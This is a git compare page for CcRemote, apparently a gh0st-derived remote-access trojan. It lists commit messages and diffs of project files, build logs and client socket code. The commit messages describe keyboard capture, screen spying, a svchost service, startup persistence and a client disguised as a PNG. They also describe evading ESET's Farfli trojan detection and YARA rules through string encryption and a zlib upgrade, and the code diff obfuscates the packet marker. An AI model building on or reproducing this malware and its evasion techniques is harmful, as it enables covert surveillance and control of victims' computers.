Compare commits

..

97 Commits

Author SHA1 Message Date
Cc28257
643faacca1 update cservce.dll 2020-08-08 14:43:58 +08:00
Cc28256
a726d73711 Update README.md 2020-08-07 17:05:57 +08:00
Cc28256
1440a5de60 Update README.md 2020-08-01 17:50:25 +08:00
Cc28257
4ae635cd38 解决了rundll32加载dl时回调函数卡死在GetWindowText函数上的问题 2020-08-01 16:44:40 +08:00
Cc28257
4b8f225b7f 解除加密 2020-08-01 11:50:20 +08:00
Cc28256
8fd8041325 Update README.md 2020-07-31 17:15:45 +08:00
Cc28257
1d4b33550f 添加启动 2020-07-30 14:05:42 +08:00
Cc28256
3a9a5fa585 Update README.md 2020-07-29 16:29:59 +08:00
changcheng
5229350941 可运行 2020-07-28 16:53:43 +08:00
changcheng
1168cd57ec update 2020-07-28 16:33:06 +08:00
changcheng
ca30e3eee0 update 生成客户端 仿造PNG 2020-07-27 00:33:44 +08:00
Cc28257
0817ad4f64 测试版本 2020-07-25 18:49:49 +08:00
Cc28256
642abc37ee Update README.md 2020-07-25 16:49:41 +08:00
Cc28256
1aaf0ba72d Update README.md 2020-07-25 16:22:27 +08:00
Cc28257
8526ac5e15 生成客户端完成 管理员执行才可以 等待以后解决 2020-07-25 15:02:20 +08:00
Cc28257
d099304a85 update fix bug 2020-07-25 11:15:05 +08:00
Cc28257
c25286c021 Merge remote-tracking branch 'origin/test' 2020-07-22 14:07:01 +08:00
Cc28257
79648c130c update fix bug 2020-07-22 14:03:40 +08:00
Cc28256
e47417a184 Update README.md 2020-07-22 13:24:31 +08:00
changcheng
c9028528b2 active start 2020-07-21 23:46:01 +08:00
Cc28256
d3c213a17b Update README.md 2020-07-21 21:06:23 +08:00
changcheng
e6236c6fe3 update 2020-07-20 22:43:09 +08:00
Cc28256
879c6d91b4 Update README.md 2020-07-18 15:47:05 +08:00
Cc28256
38839bcf00 Update README.md 2020-07-18 15:16:38 +08:00
Cc28256
bf9af90d11 Update README.md 2020-07-18 15:13:18 +08:00
Cc28256
d3caf4b3c7 Update README.md
update shell manager
2020-07-18 14:43:26 +08:00
Cc28257
9b9ada6d6f update null 2020-07-18 13:57:59 +08:00
Cc28257
ce2bbd9dfb readme 2020-07-18 13:47:51 +08:00
changcheng
3c765bb391 update 2020-07-14 23:03:00 +08:00
Cc28256
1b29464c86 Update README.md 2020-07-11 19:44:09 +08:00
Cc28257
d8c29f12ee Merge branch 'master' of https://github.com/Cc28256/CcRemote 2020-07-11 18:41:08 +08:00
Cc28257
20ba634442 update readme 2020-07-11 18:40:44 +08:00
Cc28256
fb37fb3351 Create README.md 2020-07-11 18:35:07 +08:00
Cc28257
e4b81f2cc8 update 2020-07-11 18:23:14 +08:00
Cc28257
10d47a4668 fix bug rc open failed 2020-07-11 18:09:47 +08:00
changcheng
b4cbd079ab run 2020-07-10 23:57:45 +08:00
changcheng
1e498a27fe update 2020-07-09 23:52:07 +08:00
changcheng
dcd6dce57a 更新下线通知 2020-07-08 22:48:18 +08:00
Cc28257
f0286bc4b7 null 2020-07-07 16:17:22 +08:00
changcheng
1779436bd8 update ccremote 2020-07-06 23:14:24 +08:00
changcheng
7d0eba133c update ccremot 2020-07-06 03:07:55 +08:00
changcheng
b83633ab37 update 2020-07-05 23:34:10 +08:00
Cc28257
55fd407621 updates 2020-07-04 19:12:33 +08:00
Cc28257
031d90d7e5 add keyboard manage 2020-07-04 18:03:23 +08:00
Cc28257
6bec3f39e3 fix cmd shell bug 2020-07-04 14:04:55 +08:00
Cc28257
e4df075f41 update enum 2020-07-04 13:12:33 +08:00
Cc28257
c5441acbeb add menu res ico 2020-07-03 17:48:05 +08:00
Cc28257
4806c0a35f fix bug 2020-07-03 17:43:44 +08:00
Cc28257
df2f95e29e NULL 2020-07-03 15:48:13 +08:00
changcheng
b41d36ad3d load 2020-07-03 00:14:17 +08:00
Cc28257
0df44971ee 更新流程图 2020-07-02 10:51:18 +08:00
changcheng
ac601b4a57 update Add svchost Service 2020-07-01 23:10:59 +08:00
Cc28257
78d2e5d193 更新流程图 2020-07-01 19:05:43 +08:00
changcheng
e6bf19d7d0 添加loder工程,释放资源dll 2020-06-30 23:46:28 +08:00
changcheng
57ddc97543 流程图 2020-06-30 23:12:44 +08:00
Cc28257
af1ee77a38 添加服务端的流程图 2020-06-30 18:54:36 +08:00
changcheng
18b6093b62 update bmp 2020-06-29 15:22:04 +08:00
changcheng
fe08644d48 界面变更 2020-06-29 12:34:37 +08:00
Cc28257
dc7e4d9ae2 注释 2020-06-26 18:38:33 +08:00
Cc28257
7eb48f2436 Merge remote-tracking branch 'origin/master' into test 2020-06-26 16:17:48 +08:00
Cc28257
bd7c98b42d 图标更新 2020-06-26 16:15:35 +08:00
Cc28257
9a966988ae Merge remote-tracking branch 'origin/test' 2020-06-26 14:34:07 +08:00
Cc28257
bb75d929cc 注册表获取信息交互 2020-06-26 13:30:37 +08:00
Cc28257
17da000043 服务端注册表 2020-06-26 10:27:25 +08:00
Cc28257
910efd3d65 Synchronous account 2020-06-25 18:20:20 +08:00
Cc28257
2017d98ea3 Synchronous account 2020-06-25 18:17:06 +08:00
Cc28257
b7c685728f change name 2020-06-25 17:45:32 +08:00
Cc28256
e88d617fd6 change name 2020-06-25 17:24:42 +08:00
Cc28257
179ee30dc8 没有管理员权限 服务将不会获取服务的信息 不会有响应 2020-06-25 17:17:41 +08:00
Cc28257
f62203ff80 服务控制完善,需要管理员权限才可以执行,如果没有权限的话会造成崩溃,需要后续做判断 2020-06-25 12:02:55 +08:00
Cc28257
4ef747d0db 服务部分功能完善,解决没有权限导致崩溃的bug 2020-06-25 11:10:54 +08:00
Cc28257
b118b49309 服务端 zlib 使用高版本 1.2.11 避免开源yara库查杀低版本二zlib 2020-06-24 11:49:44 +08:00
Cc28257
219e47e8e2 控制端 zlib 使用高版本 1.2.11 2020-06-23 18:51:20 +08:00
Cc28257
84c52cb895 add service 控制端 2020-06-20 18:34:15 +08:00
Cc28257
b2c6fc3a23 git change email 2020-06-20 17:31:51 +08:00
Cc28257
93b91091fc strcry some global var 2020-06-20 17:09:43 +08:00
Cc28257
3943db0336 Anti Anti- Virus eset : a variant of Win32/Farfli.ADV trojan 2020-06-20 13:28:22 +08:00
Cc28257
00511401f8 strcry 2020-06-20 10:52:43 +08:00
Cc28257
1de023dfa4 测试杀软 2020-06-19 18:56:51 +08:00
Cc28257
b61421979c 服务端添加加密字符串示例 2020-06-18 19:12:58 +08:00
Cc28257
4793b09f3b 控制端改标记 2020-06-17 18:55:40 +08:00
Cc28257
b860325b46 git name change 2020-06-17 16:20:02 +08:00
ChangCheng
b1ac10498d 字符串加密示例 2020-06-17 11:46:20 +08:00
ChangCheng
a68ca8fc40 启动项替换完毕 2020-06-16 18:06:53 +08:00
ChangCheng
6b0a59d2b1 启动项替换 2020-06-13 17:21:23 +08:00
ChangCheng
7512936a9c 启动项+ 2020-06-12 18:52:06 +08:00
ChangCheng
feb20dcd4e 启动项查找demo 2020-06-11 18:52:35 +08:00
changcheng
d7f2bcec1c 音频管理已经编写,但是背景处理有点问题,以后再解决 2020-06-08 20:33:24 +08:00
ChangCheng
fda76bbbd1 文件管理部分功能得以通讯 2020-06-06 18:20:33 +08:00
ChangCheng
eed525d3f5 增加了一些注释和简单的代码,关于界面 2020-06-05 20:15:06 +08:00
changcheng
41c189a5a7 屏幕监控的功能可以通讯,解决一些bug 2020-06-04 22:41:54 +08:00
ChangCheng
d3ad76272a 注释几图标 2020-06-04 18:58:52 +08:00
changcheng
2afd8019a8 控制端与服务端屏幕监控可以交互,还没有完善,debug解决个很奇怪的bug 2020-06-04 00:31:32 +08:00
changcheng
d12cd9d6ac 控制端增加了屏幕监控的窗口及代码,编译通过 2020-06-02 23:34:15 +08:00
changcheng
208be40ccb 服务端增加一些注释 关于屏幕抓取 2020-06-01 23:57:17 +08:00
ChangCheng
3d3b2ce49a 更新代码,完成了服务端与控制端的窗口数据通讯 2020-05-30 18:38:58 +08:00
ChangCheng
cd670fdaed 添加部分图标 2020-05-30 17:21:56 +08:00
222 changed files with 13206 additions and 1078 deletions

Binary file not shown.

View File

@@ -7,6 +7,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMa
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loder", "Loder\Loder.vcxproj", "{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
@@ -31,6 +33,14 @@ Global
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.ActiveCfg = Debug|x64
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.Build.0 = Debug|x64
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.ActiveCfg = Debug|Win32
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.Build.0 = Debug|Win32
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.ActiveCfg = Release|x64
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.Build.0 = Release|x64
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.ActiveCfg = Release|Win32
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

View File

@@ -90,7 +90,7 @@
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
@@ -101,8 +101,9 @@
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>..\..\common\zlib\ZlibStatRelease\zlibstat.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>..\..\common\zlib\ZlibStatRelease</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@@ -132,7 +133,7 @@
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@@ -144,8 +145,9 @@
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>..\..\common\zlib\ZlibStatRelease\zlibstat.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>..\..\common\zlib\ZlibStatRelease</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -173,6 +175,7 @@
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="..\..\common\Audio.h" />
<ClInclude Include="..\..\common\zlib\zlib.h" />
<ClInclude Include="ClientSocket.h" />
<ClInclude Include="common\AudioManager.h" />
<ClInclude Include="common\Buffer.h" />
@@ -181,10 +184,15 @@
<ClInclude Include="common\install.h" />
<ClInclude Include="common\KernelManager.h" />
<ClInclude Include="common\KeyboardManager.h" />
<ClInclude Include="common\login.h" />
<ClInclude Include="common\loop.h" />
<ClInclude Include="common\Manager.h" />
<ClInclude Include="common\RegEditEx.h" />
<ClInclude Include="common\RegeditOpt.h" />
<ClInclude Include="common\RegManager.h" />
<ClInclude Include="common\ScreenManager.h" />
<ClInclude Include="common\ScreenSpy.h" />
<ClInclude Include="common\ServerManager.h" />
<ClInclude Include="common\ShellManager.h" />
<ClInclude Include="common\SystemManager.h" />
<ClInclude Include="common\until.h" />
@@ -193,6 +201,7 @@
<ClInclude Include="DynamicAPI.h" />
<ClInclude Include="framework.h" />
<ClInclude Include="pch.h" />
<ClInclude Include="StrCry.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\common\Audio.cpp">
@@ -248,6 +257,14 @@
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegeditOpt.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ScreenManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
@@ -256,6 +273,10 @@
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ServerManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ShellManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
@@ -285,6 +306,7 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="StrCry.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

View File

@@ -78,6 +78,27 @@
<ClInclude Include="common\install.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="StrCry.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\login.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\loop.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="..\..\common\zlib\zlib.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ServerManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegeditOpt.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegManager.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
@@ -140,5 +161,17 @@
<ClCompile Include="common\Manager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="StrCry.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ServerManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegeditOpt.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -5,7 +5,8 @@
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>..\\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
<LocalDebuggerCommand>C:\Windows\SysWOW64\rundll32.exe </LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>F:\myapp\CcRemote\bin\server\CcMainDll.dll,MainRun</LocalDebuggerCommandArguments>
</PropertyGroup>
</Project>

View File

@@ -8,6 +8,7 @@
#include <MSTcpIP.h>
#include "common/Manager.h"
#include "common/until.h"
#pragma comment(lib, "ws2_32.lib")
//////////////////////////////////////////////////////////////////////
@@ -29,8 +30,13 @@ CClientSocket::CClientSocket()
m_bIsRunning = false;
m_Socket = INVALID_SOCKET;
// Packet Flag;
BYTE bPacketFlag[] = { 'G', 'h', '0', 's', 't' }; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
char CcRmt[] = { 0x05,0x88,0xa9,0x9b,0xa5,0xb3 }; //CcRmt ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD>gh0st<73><74><EFBFBD>ض<EFBFBD>Ҫһ<D2AA><D2BB>
char* pCcRmt = decodeStr(CcRmt); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
memcpy(m_bPacketFlag, pCcRmt, CcRmt[STR_CRY_LENGTH]);
memset(pCcRmt, 0, CcRmt[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pCcRmt;
}
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CClientSocket::~CClientSocket()
@@ -313,7 +319,7 @@ void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
//---<2D>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><ECBAAF><EFBFBD><EFBFBD> g h 0 s t <20><><EFBFBD>ض<EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//---<2D>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><ECBAAF><EFBFBD><EFBFBD> ccrem <20><><EFBFBD>ض<EFBFBD><D8B6>е<EFBFBD>
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
throw "bad buffer";
@@ -344,7 +350,7 @@ void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
//---<2D><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD> <20><><EFBFBD>ǽ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD>
// <20><><EFBFBD>ǽ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD>
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
@@ -407,6 +413,8 @@ void CClientSocket::Disconnect()
InterlockedExchange((LPLONG)&m_bIsRunning, false);
closesocket(m_Socket);
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>״̬Ϊ<CCAC>б<EFBFBD><D0B1>ǣ<EFBFBD><C7A3>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>̡߳<DFB3>
Sleep(500);
SetEvent(m_hEvent);
//INVALID_SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
m_Socket = INVALID_SOCKET;

View File

@@ -8,6 +8,7 @@
#include <mswsock.h>
#include "common/Buffer.h" // Added by ClassView
#include "common/Manager.h"
#include "StrCry.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

View File

@@ -1,5 +1,7 @@
f:\myapp\ccremote\bin\server\ccmaindll.lib
f:\myapp\ccremote\bin\server\ccmaindll.exp
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
f:\myapp\ccremote\bin\server\ccmaindll.iobj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
@@ -12,8 +14,11 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditopt.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
@@ -22,6 +27,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
f:\myapp\ccremote\bin\server\ccmaindll.ilk
f:\myapp\ccremote\bin\server\ccmaindll.dll
@@ -32,5 +38,6 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.delete.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog

View File

@@ -6,23 +6,31 @@ cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
ClientSocket.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(75): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: “>=”: 有符号/无符号不匹配
Buffer.cpp
until.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
